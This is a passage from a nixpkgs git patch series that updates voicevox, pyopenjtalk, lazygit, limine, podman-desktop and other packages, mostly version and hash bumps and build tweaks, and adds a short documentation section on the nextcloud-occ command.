- template <typename T1, typename T2>
--struct pair_1st_cmp: public std::binary_function<bool, T1, T2> {
-+struct pair_1st_cmp {
-   bool operator()(const std::pair<T1, T2> &x1,
-                   const std::pair<T1, T2> &x2)  {
-     return x1.first < x2.first;
-diff --git a/lib/open_jtalk/src/mecab/src/viterbi.cpp b/lib/open_jtalk/src/mecab/src/viterbi.cpp
-index 6277fe9..5ccefb7 100644
---- a/lib/open_jtalk/src/mecab/src/viterbi.cpp
-+++ b/lib/open_jtalk/src/mecab/src/viterbi.cpp
-@@ -318,11 +318,11 @@ template <bool IsAllPath> bool connect(size_t pos, Node *rnode,
-                                        const Connector *connector,
-                                        Allocator<Node, Path> *allocator) {
-   for (;rnode; rnode = rnode->bnext) {
--    register long best_cost = 2147483647;
-+    long best_cost = 2147483647;
-     Node* best_node = 0;
-     for (Node *lnode = end_node_list[pos]; lnode; lnode = lnode->enext) {
--      register int lcost = connector->cost(lnode, rnode);  // local cost
--      register long cost = lnode->cost + lcost;
-+      int lcost = connector->cost(lnode, rnode);  // local cost
-+      long cost = lnode->cost + lcost;
- 
-       if (cost < best_cost) {
-         best_node  = lnode;
diff --git a/pkgs/by-name/vo/voicevox-engine/package.nix b/pkgs/by-name/vo/voicevox-engine/package.nix
index 7eb27b5127ae..0ca639093865 100644
--- a/pkgs/by-name/vo/voicevox-engine/package.nix
+++ b/pkgs/by-name/vo/voicevox-engine/package.nix
@@ -2,32 +2,28 @@
   lib,
   fetchFromGitHub,
   python3Packages,
-  replaceVars,
   voicevox-core,
 }:
 
 python3Packages.buildPythonApplication rec {
   pname = "voicevox-engine";
-  version = "0.23.0";
+  version = "0.24.0";
   pyproject = true;
 
   src = fetchFromGitHub {
     owner = "VOICEVOX";
     repo = "voicevox_engine";
     tag = version;
-    hash = "sha256-kuWpLnDKRYcfV9FxYLeR6FmQFO2K12KxJx/Y/4MwhbM=";
+    hash = "sha256-LFbKnNv+NNfA6dvgVGr8fGr+3o5/sAyZ8XFZan2EJUY=";
   };
 
   patches = [
-    # the upstream package only uses poetry for dependency management, not for package definition
-    # this patch makes the package installable via poetry-core
-    (replaceVars ./make-installable.patch {
-      inherit version;
-    })
+    # this patch makes the package installable via hatchling
+    ./make-installable.patch
   ];
 
   build-system = with python3Packages; [
-    poetry-core
+    hatchling
   ];
 
   dependencies =
@@ -35,19 +31,21 @@ python3Packages.buildPythonApplication rec {
       passthru.pyopenjtalk
     ]
     ++ (with python3Packages; [
-      numpy
       fastapi
       jinja2
-      python-multipart
-      uvicorn
-      soundfile
-      pyyaml
-      pyworld
-      semver
+      kanalizer
+      numpy
       platformdirs
-      soxr
       pydantic
+      python-multipart
+      pyworld
+      pyyaml
+      semver
+      setuptools
+      soundfile
+      soxr
       starlette
+      uvicorn
     ]);
 
   pythonRemoveDeps = [
@@ -55,8 +53,6 @@ python3Packages.buildPythonApplication rec {
     "fastapi-slim"
   ];
 
-  pythonRelaxDeps = true;
-
   preConfigure = ''
     # copy demo metadata to temporary directory
     mv resources/character_info test_character_info
@@ -103,7 +99,7 @@ python3Packages.buildPythonApplication rec {
       owner = "VOICEVOX";
       repo = "voicevox_resource";
       tag = version;
-      hash = "sha256-6pxx+ebNzXd3qbrFa4gfMDM2e5XANo3ZPzSAegKoJBE=";
+      hash = "sha256-/L7gqskzg7NFBO6Jg2MEMYuQeZK58hTWrRypTE42nGg=";
     };
 
     pyopenjtalk = python3Packages.callPackage ./pyopenjtalk.nix { };
diff --git a/pkgs/by-name/vo/voicevox-engine/pyopenjtalk.nix b/pkgs/by-name/vo/voicevox-engine/pyopenjtalk.nix
index 01ef7ec6ee84..d45f97dd39a3 100644
--- a/pkgs/by-name/vo/voicevox-engine/pyopenjtalk.nix
+++ b/pkgs/by-name/vo/voicevox-engine/pyopenjtalk.nix
@@ -4,12 +4,13 @@
   buildPythonPackage,
   fetchFromGitHub,
   fetchzip,
+
   setuptools,
-  cython_0,
+  setuptools-scm,
+  cython,
   cmake,
   numpy,
   oldest-supported-numpy,
-  six,
   tqdm,
 }:
 
@@ -22,32 +23,24 @@ let
 in
 buildPythonPackage {
   pname = "pyopenjtalk";
-  version = "0-unstable-2023-09-08";
+  version = "0-unstable-2025-04-23";
   pyproject = true;
 
+  # needed because setuptools-scm doesn't like the 0-unstable format
+  env.SETUPTOOLS_SCM_PRETEND_VERSION = "0.0.1";
+
   src = fetchFromGitHub {
     owner = "VOICEVOX";
     repo = "pyopenjtalk";
-    rev = "b35fc89fe42948a28e33aed886ea145a51113f88";
-    hash = "sha256-DbZkCMdirI6wSRUQSJrkojyjGmViqGeQPO0kSKiw2gE=";
+    rev = "74703b034dd90a1f199f49bb70bf3b66b1728a86";
+    hash = "sha256-UUUYoVEqENKux5N7ucbjcnrZ2+ewwxwP8S0WksaJEAQ=";
     fetchSubmodules = true;
   };
 
-  patches = [
-    # this patch fixes the darwin build
-    # open_jtalk uses mecab, which uses the register keyword and std::binary_function, which are not allowed in c++17
-    # this patch removes them
-    ./mecab-remove-deprecated.patch
-  ];
-
-  postPatch = ''
-    substituteInPlace pyproject.toml \
-        --replace-fail 'setuptools<v60.0' 'setuptools'
-  '';
-
   build-system = [
     setuptools
-    cython_0
+    setuptools-scm
+    cython
     cmake
     numpy
     oldest-supported-numpy
@@ -56,9 +49,7 @@ buildPythonPackage {
   dontUseCmakeConfigure = true;
 
   dependencies = [
-    setuptools # imports pkg_resources at runtime
     numpy
-    six
     tqdm
   ];
 

From 7db533f181d2817c622f3e8f9f6451c5764ce98f Mon Sep 17 00:00:00 2001
From: TomaSajt <62384384+TomaSajt@users.noreply.github.com>
Date: Thu, 26 Jun 2025 19:48:52 +0200
Subject: [PATCH 2049/4511] voicevox: 0.23.0 -> 0.24.1

(cherry picked from commit 0fed32dd3b20527490d93eebf04792220ccf0397)
---
 pkgs/by-name/vo/voicevox/hardcode-paths.patch | 31 +++++------
 pkgs/by-name/vo/voicevox/package.nix          | 55 +++++++++++++------
 .../unlock-node-and-pnpm-versions.patch       | 18 ------
 3 files changed, 53 insertions(+), 51 deletions(-)
 delete mode 100644 pkgs/by-name/vo/voicevox/unlock-node-and-pnpm-versions.patch

diff --git a/pkgs/by-name/vo/voicevox/hardcode-paths.patch b/pkgs/by-name/vo/voicevox/hardcode-paths.patch
index ceda27c67fdb..9fc62c5f6b72 100644
--- a/pkgs/by-name/vo/voicevox/hardcode-paths.patch
+++ b/pkgs/by-name/vo/voicevox/hardcode-paths.patch
@@ -11,39 +11,38 @@ index cc5e2b9..29140f8 100644
          "executionArgs": [],
          "host": "http://127.0.0.1:50021"
      }
-diff --git a/electron-builder.config.js b/electron-builder.config.js
-index 10bd7dc..4597b23 100644
---- a/electron-builder.config.js
-+++ b/electron-builder.config.js
-@@ -38,18 +38,6 @@ const isArm64 = process.arch === "arm64";
+diff --git a/electron-builder.config.cjs b/electron-builder.config.cjs
+index d2a21b4..7b338c0 100644
+--- a/electron-builder.config.cjs
++++ b/electron-builder.config.cjs
+@@ -40,17 +40,6 @@ const isArm64 = process.arch === "arm64";
  // cf: https://k-hyoda.hatenablog.com/entry/2021/10/23/000349#%E8%BF%BD%E5%8A%A0%E5%B1%95%E9%96%8B%E3%83%95%E3%82%A1%E3%82%A4%E3%83%AB%E5%85%88%E3%81%AE%E8%A8%AD%E5%AE%9A
  const extraFilePrefix = isMac ? "MacOS/" : "";
  
--const sevenZipFile = fs
--  .readdirSync(path.resolve(__dirname, "vendored", "7z"))
--  .find(
--    // Windows: 7za.exe, Linux: 7zzs, macOS: 7zz
--    (fileName) => ["7za.exe", "7zzs", "7zz"].includes(fileName),
--  );
+-const sevenZipFile = readdirSync(resolve(__dirname, "vendored", "7z")).find(
+-  // Windows: 7za.exe, Linux: 7zzs, macOS: 7zz
+-  (fileName) => ["7za.exe", "7zzs", "7zz"].includes(fileName),
+-);
 -
 -if (!sevenZipFile) {
 -  throw new Error(
--    "7z binary file not found. Run `node ./tools/download7z.js` first.",
+-    "7z binary file not found. Run `node ./tools/download7z.ts` first.",
 -  );
 -}
- 
+-
  /** @type {import("electron-builder").Configuration} */
  const builderOptions = {
-@@ -91,14 +79,6 @@ const builderOptions = {
+   beforeBuild: async () => {
+@@ -91,14 +80,6 @@ const builderOptions = {
        from: "build/README.txt",
        to: extraFilePrefix + "README.txt",
      },
 -    {
 -      from: VOICEVOX_ENGINE_DIR,
--      to: path.join(extraFilePrefix, "vv-engine"),
+-      to: join(extraFilePrefix, "vv-engine"),
 -    },
 -    {
--      from: path.resolve(__dirname, "vendored", "7z", sevenZipFile),
+-      from: resolve(__dirname, "vendored", "7z", sevenZipFile),
 -      to: extraFilePrefix + sevenZipFile,
 -    },
    ],
diff --git a/pkgs/by-name/vo/voicevox/package.nix b/pkgs/by-name/vo/voicevox/package.nix
index 509b246de35b..d2ca2cda3f53 100644
--- a/pkgs/by-name/vo/voicevox/package.nix
+++ b/pkgs/by-name/vo/voicevox/package.nix
@@ -2,31 +2,37 @@
   lib,
   stdenv,
   fetchFromGitHub,
-  replaceVars,
-  pnpm_9,
-  nodejs,
   makeDesktopItem,
+  replaceVars,
+
   copyDesktopItems,
-  makeWrapper,
-  electron,
-  _7zz,
-  voicevox-engine,
   dart-sass,
+  jq,
+  makeWrapper,
+  moreutils,
+  nodejs,
+  pnpm_9,
+
+  _7zz,
+  electron,
+  voicevox-engine,
 }:
 
+let
+  pnpm = pnpm_9;
+in
 stdenv.mkDerivation (finalAttrs: {
   pname = "voicevox";
-  version = "0.23.0";
+  version = "0.24.1";
 
   src = fetchFromGitHub {
     owner = "VOICEVOX";
     repo = "voicevox";
     tag = finalAttrs.version;
-    hash = "sha256-wCC4wl5LPJVJQtV+X795rIXnURseQYiCZ9B6YujTFFw=";
+    hash = "sha256-2MXJOLt14zpoahYjd3l3q5UxT2yK/g/jksHO4Q7W6HA=";
   };
 
   patches = [
-    ./unlock-node-and-pnpm-versions.patch
     (replaceVars ./hardcode-paths.patch {
       sevenzip_path = lib.getExe _7zz;
       voicevox_engine_path = lib.getExe voicevox-engine;
@@ -34,26 +40,41 @@ stdenv.mkDerivation (finalAttrs: {
   ];
 
   postPatch = ''
+    # unlock the overly specific pnpm package version pin
+    jq 'del(.packageManager)' package.json | sponge package.json
+
     substituteInPlace package.json \
       --replace-fail "999.999.999" "$version" \
-      --replace-fail ' && electron-builder --config electron-builder.config.js --publish never' ""
+      --replace-fail ' && electron-builder --config electron-builder.config.cjs --publish never' ""
   '';
 
-  pnpmDeps = pnpm_9.fetchDeps {
+  pnpmDeps = pnpm.fetchDeps {
     inherit (finalAttrs)
       pname
       version
       src
       patches
+      postPatch
       ;
-    hash = "sha256-IuyDHAomaGEvGbN4gLpyPfZGm/pF9XK+BkXSipaM7NQ=";
+
+    # let's just be safe and add these explicitly to nativeBuildInputs
+    # even though the fetcher already uses them in its implementation
+    nativeBuildInputs = [
+      jq
+      moreutils
+    ];
+
+    hash = "sha256-RKgqFmHQnjHS7yeUIbH9awpNozDOCCHplc/bmfxmMyg=";
   };
 
   nativeBuildInputs =
     [
+      dart-sass
+      jq
       makeWrapper
-      pnpm_9.configHook
+      moreutils
       nodejs
+      pnpm.configHook
     ]
     ++ lib.optionals stdenv.hostPlatform.isLinux [
       copyDesktopItems
@@ -67,9 +88,9 @@ stdenv.mkDerivation (finalAttrs: {
   buildPhase = ''
     runHook preBuild
 
-    # force sass-embedded to use our own sass instead of the bundled one
+    # force sass-embedded to use our own sass from PATH instead of the bundled one
     substituteInPlace node_modules/sass-embedded/dist/lib/src/compiler-path.js \
-        --replace-fail 'compilerCommand = (() => {' 'compilerCommand = (() => { return ["${lib.getExe dart-sass}"];'
+      --replace-fail 'compilerCommand = (() => {' 'compilerCommand = (() => { return ["dart-sass"];'
 
     cp -r ${electron.dist} electron-dist
     chmod -R u+w electron-dist
@@ -79,7 +100,7 @@ stdenv.mkDerivation (finalAttrs: {
 
     pnpm exec electron-builder \
       --dir \
-      --config electron-builder.config.js \
+      --config electron-builder.config.cjs \
       -c.electronDist=electron-dist \
       -c.electronVersion=${electron.version}
 
diff --git a/pkgs/by-name/vo/voicevox/unlock-node-and-pnpm-versions.patch b/pkgs/by-name/vo/voicevox/unlock-node-and-pnpm-versions.patch
deleted file mode 100644
index a166a2f8aa20..000000000000
--- a/pkgs/by-name/vo/voicevox/unlock-node-and-pnpm-versions.patch
+++ /dev/null
@@ -1,18 +0,0 @@
-diff --git a/package.json b/package.json
-index d0a58b4..b57b91c 100644
---- a/package.json
-+++ b/package.json
-@@ -4,13 +4,6 @@
-   "author": "Hiroshiba Kazuyuki",
-   "private": true,
-   "main": "./dist/main.js",
--  "engines": {
--    "node": ">=22.14.0 <23"
--  },
--  "volta": {
--    "node": "22.14.0"
--  },
--  "packageManager": "pnpm@10.3.0",
-   "scripts": {
-     "// --- lint ---": "",
-     "lint": "eslint .",

From d366066f95b289850ead3ef896d20bccb739de76 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Thu, 3 Jul 2025 20:11:57 +0000
Subject: [PATCH 2050/4511] flake-checker: 0.2.7 -> 0.2.8

(cherry picked from commit 792018f0b4cd862ba0ace52f61c1d36e5bf435a5)
---
 pkgs/by-name/fl/flake-checker/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/fl/flake-checker/package.nix b/pkgs/by-name/fl/flake-checker/package.nix
index 8a1e86d09794..b60939cd7eb0 100644
--- a/pkgs/by-name/fl/flake-checker/package.nix
+++ b/pkgs/by-name/fl/flake-checker/package.nix
@@ -6,17 +6,17 @@
 
 rustPlatform.buildRustPackage rec {
   pname = "flake-checker";
-  version = "0.2.7";
+  version = "0.2.8";
 
   src = fetchFromGitHub {
     owner = "DeterminateSystems";
     repo = "flake-checker";
     rev = "v${version}";
-    hash = "sha256-RwkyyrWm0QRNOn7Bb9jKOyJ049B6pPmhbrx8tXpUf4w=";
+    hash = "sha256-elHpiMGwJ2KnN75EOTjsjpziYfXiRyTeixhY4rd85m0=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-lB7+2dQGfbn7IhmCAN0jvFTGjJDBpw57VHi3qIwwOZ4=";
+  cargoHash = "sha256-QS38tAJ1V0Avd7N+Mhexv23oh+kxtmr/qvQZLRwP9zA=";
 
   meta = with lib; {
     description = "Health checks for your Nix flakes";

From 62a4ec04dc0d3fdf634cd24ae58b6690030eefe5 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 01:37:38 +0000
Subject: [PATCH 2051/4511] lockbook-desktop: 0.9.23 -> 0.9.24

(cherry picked from commit 2de08862ffbee7455eb34a3cba8001a7b7dd30b4)
---
 pkgs/by-name/lo/lockbook-desktop/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/lo/lockbook-desktop/package.nix b/pkgs/by-name/lo/lockbook-desktop/package.nix
index 050093fb3f82..d68e66f62a93 100644
--- a/pkgs/by-name/lo/lockbook-desktop/package.nix
+++ b/pkgs/by-name/lo/lockbook-desktop/package.nix
@@ -18,17 +18,17 @@ let
 in
 rustPlatform.buildRustPackage rec {
   pname = "lockbook-desktop";
-  version = "0.9.23";
+  version = "0.9.24";
 
   src = fetchFromGitHub {
     owner = "lockbook";
     repo = "lockbook";
     tag = version;
-    hash = "sha256-1SHAlhcQFuhwiYQReVOILX2T0gufNBojuy/E/EcECNw=";
+    hash = "sha256-NEKmZlBw1OkikHHeohZH01/+E6bslQ6+EK0lhleI9UA=";
   };
 
   useFetchCargoVendor = true;
-  cargoHash = "sha256-TAa/HuRDwRr5GBObcQwxebTiBjRrWeq52HFYT9h6Rq4=";
+  cargoHash = "sha256-UDidgvZlFkUrNpnwJijEQ8ib2kiou0cHKOuBnk0u704=";
 
   nativeBuildInputs = [
     pkg-config

From f147221e211a47a2c8e4b949bc1431508712a603 Mon Sep 17 00:00:00 2001
From: Maximilian Bosch <maximilian@mbosch.me>
Date: Sat, 5 Jul 2025 09:44:08 +0200
Subject: [PATCH 2052/4511] nixos/nextcloud: document nextcloud-occ command

It's not clear how to use this command in other systemd units, this
section gives a recommendation.

I realized that there's no explicit mention of `nextcloud-occ` in the
first place, so I wrote some introductory sentences as well.

(cherry picked from commit 5a6f0a43ae1d7c4a8ec71e749cf623076c9dcfa1)
---
 nixos/doc/manual/redirects.json              |  3 ++
 nixos/modules/services/web-apps/nextcloud.md | 31 ++++++++++++++++++++
 2 files changed, 34 insertions(+)

diff --git a/nixos/doc/manual/redirects.json b/nixos/doc/manual/redirects.json
index 94b010392ea3..aec2e4181092 100644
--- a/nixos/doc/manual/redirects.json
+++ b/nixos/doc/manual/redirects.json
@@ -578,6 +578,9 @@
   "module-services-nextcloud-httpd": [
     "index.html#module-services-nextcloud-httpd"
   ],
+  "module-services-nextcloud-occ": [
+    "index.html#module-services-nextcloud-occ"
+  ],
   "installing-apps-php-extensions-nextcloud": [
     "index.html#installing-apps-php-extensions-nextcloud"
   ],
diff --git a/nixos/modules/services/web-apps/nextcloud.md b/nixos/modules/services/web-apps/nextcloud.md
index 700cee34f4f8..18ee61b43583 100644
--- a/nixos/modules/services/web-apps/nextcloud.md
+++ b/nixos/modules/services/web-apps/nextcloud.md
@@ -56,6 +56,37 @@ it's needed to add them to
 Auto updates for Nextcloud apps can be enabled using
 [`services.nextcloud.autoUpdateApps`](#opt-services.nextcloud.autoUpdateApps.enable).
 
+## `nextcloud-occ` {#module-services-nextcloud-occ}
+
+The management command [`occ`](https://docs.nextcloud.com/server/stable/admin_manual/occ_command.html) can be
+invoked by using the `nextcloud-occ` wrapper that's globally available on a system with Nextcloud enabled.
+
+It requires elevated permissions to become the `nextcloud` user. Given the way the privilege
+escalation is implemented, parameters passed via the environment to Nextcloud (e.g. `OC_PASS`) are
+currently ignored.
+
+Custom service units that need to run `nextcloud-occ` either need elevated privileges
+or the systemd configuration from `nextcloud-setup.service` (recommended):
+
+```nix
+{ config, ... }: {
+  systemd.services.my-custom-service = {
+    script = ''
+      nextcloud-occ …
+    '';
+    serviceConfig = {
+      inherit (config.systemd.services.nextcloud-cron.serviceConfig)
+        User
+        LoadCredential
+        KillMode;
+    };
+  };
+}
+```
+
+Please note that the options required are subject to change. Please make sure to read the
+release notes when upgrading.
+
 ## Common problems {#module-services-nextcloud-pitfalls-during-upgrade}
 
   - **General notes.**

From 6e46324c483c774622040fd3d503ab8bfe2e15d5 Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Sat, 17 May 2025 21:40:06 +0900
Subject: [PATCH 2053/4511] podman-desktop: refine updateScript to bump
 electron and pnpm version

(cherry picked from commit 1a776b0958708740f02de4e8e5aa0b8dc30fc8d7)
---
 pkgs/by-name/po/podman-desktop/package.nix | 32 +++++++++++++++++++++-
 1 file changed, 31 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/po/podman-desktop/package.nix b/pkgs/by-name/po/podman-desktop/package.nix
index b29e82e2b896..19fc160e6b76 100644
--- a/pkgs/by-name/po/podman-desktop/package.nix
+++ b/pkgs/by-name/po/podman-desktop/package.nix
@@ -10,6 +10,11 @@
   makeDesktopItem,
   darwin,
   nix-update-script,
+  _experimental-update-script-combinators,
+  writeShellApplication,
+  nix,
+  jq,
+  gnugrep,
 }:
 
 let
@@ -19,7 +24,32 @@ stdenv.mkDerivation (finalAttrs: {
   pname = "podman-desktop";
   version = "1.18.1";
 
-  passthru.updateScript = nix-update-script { };
+  passthru.updateScript = _experimental-update-script-combinators.sequence [
+    (nix-update-script { })
+    (lib.getExe (writeShellApplication {
+      name = "${finalAttrs.pname}-dependencies-updater";
+      runtimeInputs = [
+        nix
+        jq
+        gnugrep
+      ];
+      runtimeEnv = {
+        PNAME = finalAttrs.pname;
+        PKG_FILE = builtins.toString ./package.nix;
+      };
+      text = ''
+        new_src="$(nix-build --attr "pkgs.$PNAME.src" --no-out-link)"
+        new_electron_major="$(jq '.devDependencies.electron' "$new_src/package.json" | grep --perl-regexp --only-matching '\d+' | head -n 1)"
+        new_pnpm_major="$(jq '.packageManager' "$new_src/package.json" | grep --perl-regexp --only-matching '\d+' | head -n 1)"
+        sed -i -E "s/electron_[0-9]+/electron_$new_electron_major/g" "$PKG_FILE"
+        sed -i -E "s/pnpm_[0-9]+/pnpm_$new_pnpm_major/g" "$PKG_FILE"
+      '';
+    }))
+    (nix-update-script {
+      # Changing the pnpm version requires updating `pnpmDeps.hash`.
+      extraArgs = [ "--version=skip" ];
+    })
+  ];
 
   src = fetchFromGitHub {
     owner = "containers";

From 875a34757e5d811e1cfde0bfd9e9776edaccc700 Mon Sep 17 00:00:00 2001
From: Kenichi Kamiya <kachick1@gmail.com>
Date: Sat, 17 May 2025 21:51:37 +0900
Subject: [PATCH 2054/4511] podman-desktop: bump electron and pnpm version

Upstream v1.18.0 updated the versions of pnpm and electron, but these
changes were not reflected in the nixpkgs definition at the time of
2d72c6e808cc2bc327cc60107731dade2ec1adfb.

This commit aligns the versions accordingly.

* pnpm: https://github.com/podman-desktop/podman-desktop/commit/b56fde37dfa4ab8438971914c86e72dbe45ace08
* electron: https://github.com/podman-desktop/podman-desktop/commit/47b8f00228acf5e4dbdd84e4b22c900570458c92

(cherry picked from commit 32146f41e4b2bee65e56060d6c6bc7c8e0caeb62)
---
 pkgs/by-name/po/podman-desktop/package.nix | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/po/podman-desktop/package.nix b/pkgs/by-name/po/podman-desktop/package.nix
index 19fc160e6b76..581a0573ce17 100644
--- a/pkgs/by-name/po/podman-desktop/package.nix
+++ b/pkgs/by-name/po/podman-desktop/package.nix
@@ -4,9 +4,9 @@
   fetchFromGitHub,
   makeWrapper,
   copyDesktopItems,
-  electron_34,
+  electron_35,
   nodejs,
-  pnpm_9,
+  pnpm_10,
   makeDesktopItem,
   darwin,
   nix-update-script,
@@ -18,7 +18,7 @@
 }:
 
 let
-  electron = electron_34;
+  electron = electron_35;
 in
 stdenv.mkDerivation (finalAttrs: {
   pname = "podman-desktop";
@@ -58,9 +58,9 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-GYdetO/WiEQAvVSvu81tKqkOH7YUgkB7RVW0Crd/2ww=";
   };
 
-  pnpmDeps = pnpm_9.fetchDeps {
+  pnpmDeps = pnpm_10.fetchDeps {
     inherit (finalAttrs) pname version src;
-    hash = "sha256-2k0BbE9FkWEErsTuCECjy+iI3u1Biv1MF9hI7Oq3Aus=";
+    hash = "sha256-IjCO2mLDHhb1fB92plBAFcH1RpmOtiUGlFHEEAAHOJ8=";
   };
 
   patches = [
@@ -77,7 +77,7 @@ stdenv.mkDerivation (finalAttrs: {
   nativeBuildInputs =
     [
       nodejs
-      pnpm_9.configHook
+      pnpm_10.configHook
     ]
     ++ lib.optionals (!stdenv.hostPlatform.isDarwin) [
       copyDesktopItems

From 837b22abba0cb35e6ce1a43435a11901d87ba83f Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Wed, 28 May 2025 02:43:04 -0600
Subject: [PATCH 2055/4511] limine: 9.3.2 -> 9.3.3

https://github.com/limine-bootloader/limine/releases/tag/v9.3.3
Diff: https://github.com/limine-bootloader/limine/compare/v9.3.2...v9.3.3
(cherry picked from commit 76239a04354b501e6cd0bd9526da9a6b8bf1e433)
---
 pkgs/by-name/li/limine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/limine/package.nix b/pkgs/by-name/li/limine/package.nix
index 06fc33255a1b..108cd7ea8dd0 100644
--- a/pkgs/by-name/li/limine/package.nix
+++ b/pkgs/by-name/li/limine/package.nix
@@ -42,14 +42,14 @@ in
 # as bootloader for various platforms and corresponding binary and helper files.
 stdenv.mkDerivation (finalAttrs: {
   pname = "limine";
-  version = "9.3.2";
+  version = "9.3.3";
 
   # We don't use the Git source but the release tarball, as the source has a
   # `./bootstrap` script performing network access to download resources.
   # Packaging that in Nix is very cumbersome.
   src = fetchurl {
     url = "https://github.com/limine-bootloader/limine/releases/download/v${finalAttrs.version}/limine-${finalAttrs.version}.tar.gz";
-    hash = "sha256-aYzNgErrlRIIv4hmekdoPMCZ4g5xDYIeTUJhEkfuuJQ=";
+    hash = "sha256-+yhHFt9SvYUl/tjfwZyR0OJK8+BDzieLS2AFY1VyNLE=";
   };
 
   enableParallelBuilding = true;

From ab215372f899e49204119067e87c85fada56a405 Mon Sep 17 00:00:00 2001
From: Ryan Omasta <git@ryand.ca>
Date: Fri, 20 Jun 2025 19:37:38 -0600
Subject: [PATCH 2056/4511] limine: 9.3.3 -> 9.3.4

https://github.com/limine-bootloader/limine/releases/tag/v9.3.4
Diff: https://github.com/limine-bootloader/limine/compare/v9.3.3...v9.3.4
(cherry picked from commit 47a0645979bd642dcd860d332963b32587ede0f3)
---
 pkgs/by-name/li/limine/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/li/limine/package.nix b/pkgs/by-name/li/limine/package.nix
index 108cd7ea8dd0..5489ba82c4df 100644
--- a/pkgs/by-name/li/limine/package.nix
+++ b/pkgs/by-name/li/limine/package.nix
@@ -42,14 +42,14 @@ in
 # as bootloader for various platforms and corresponding binary and helper files.
 stdenv.mkDerivation (finalAttrs: {
   pname = "limine";
-  version = "9.3.3";
+  version = "9.3.4";
 
   # We don't use the Git source but the release tarball, as the source has a
   # `./bootstrap` script performing network access to download resources.
   # Packaging that in Nix is very cumbersome.
   src = fetchurl {
     url = "https://github.com/limine-bootloader/limine/releases/download/v${finalAttrs.version}/limine-${finalAttrs.version}.tar.gz";
-    hash = "sha256-+yhHFt9SvYUl/tjfwZyR0OJK8+BDzieLS2AFY1VyNLE=";
+    hash = "sha256-GXArMxm7vDyUShTIM1O8/4M8h/ol/b8YcsXdodxJqeM=";
   };
 
   enableParallelBuilding = true;

From f74233c4ec18619c037f2297442027db0c01f2b7 Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Sat, 7 Jun 2025 05:50:58 +0200
Subject: [PATCH 2057/4511] lazygit: 0.51.1 -> 0.52.0

Changelog: https://github.com/jesseduffield/lazygit/releases/tag/v0.52.0
Diff: https://github.com/jesseduffield/lazygit/compare/v0.51.1...v0.52.0
(cherry picked from commit b943bef6150169cc64fbf3db341ac5330476a90a)
---
 pkgs/by-name/la/lazygit/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/la/lazygit/package.nix b/pkgs/by-name/la/lazygit/package.nix
index fbb3da058f44..fb635daedd35 100644
--- a/pkgs/by-name/la/lazygit/package.nix
+++ b/pkgs/by-name/la/lazygit/package.nix
@@ -8,13 +8,13 @@
 }:
 buildGoModule rec {
   pname = "lazygit";
-  version = "0.51.1";
+  version = "0.52.0";
 
   src = fetchFromGitHub {
     owner = "jesseduffield";
     repo = pname;
     tag = "v${version}";
-    hash = "sha256-PktxVf+2xOpkZBHlm9oLV4WXoz9bNaXa+cvnI9RCcRA=";
+    hash = "sha256-tbFRovaB0f+0VyX34DEXvWYjV3fipc5kbRNhm7rVMlo=";
   };
 
   vendorHash = null;

From df847c200ca5786c34bda612610426dc76102658 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sat, 5 Jul 2025 05:01:36 +0000
Subject: [PATCH 2058/4511] lazygit: 0.52.0 -> 0.53.0

(cherry picked from commit 96815e52176dcd454a6504e2a36b125666efb3e2)
---
 pkgs/by-name/la/lazygit/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/la/lazygit/package.nix b/pkgs/by-name/la/lazygit/package.nix
index fb635daedd35..be2c602dd987 100644
--- a/pkgs/by-name/la/lazygit/package.nix
+++ b/pkgs/by-name/la/lazygit/package.nix
@@ -8,13 +8,13 @@
 }:
 buildGoModule rec {
   pname = "lazygit";
-  version = "0.52.0";
+  version = "0.53.0";
 
   src = fetchFromGitHub {
     owner = "jesseduffield";
     repo = pname;
     tag = "v${version}";
-    hash = "sha256-tbFRovaB0f+0VyX34DEXvWYjV3fipc5kbRNhm7rVMlo=";
+    hash = "sha256-u9ccwRdRQEVNC1/nFRSKJ9RCWJI1mM9Ak3bDVMIWD6E=";
   };
 
   vendorHash = null;

From 87763569bdbb1f414aa5e0426eeb8135d4d37260 Mon Sep 17 00:00:00 2001
From: Peder Bergebakken Sundt <pbsds@hotmail.com>
Date: Fri, 20 Jun 2025 05:38:50 +0200
Subject: [PATCH 2059/4511] lixPackageSets.stable.nixpkgs-review: init

(cherry picked from commit cd384792b46e8e93895b092b124e6f3b3169dcc4)
---
 pkgs/tools/package-management/lix/default.nix | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/pkgs/tools/package-management/lix/default.nix b/pkgs/tools/package-management/lix/default.nix
index 42bc8c641a69..979370bfdd52 100644
--- a/pkgs/tools/package-management/lix/default.nix
+++ b/pkgs/tools/package-management/lix/default.nix
@@ -13,6 +13,7 @@
   editline,
   ncurses,
   clangStdenv,
+  nixpkgs-review,
   nix-direnv,
   nix-fast-build,
   colmena,
@@ -92,6 +93,10 @@ let
             stdenv = lixStdenv;
           };
 
+          nixpkgs-review = nixpkgs-review.override {
+            nix = self.lix;
+          };
+
           nix-direnv = nix-direnv.override {
             nix = self.lix;
           };

From 4b259c99462a08a7ced350333c0d1269fbaaa2b4 Mon Sep 17 00:00:00 2001
From: bstanderline <153822813+bstanderline@users.noreply.github.com>
Date: Mon, 23 Jun 2025 14:37:53 +0100
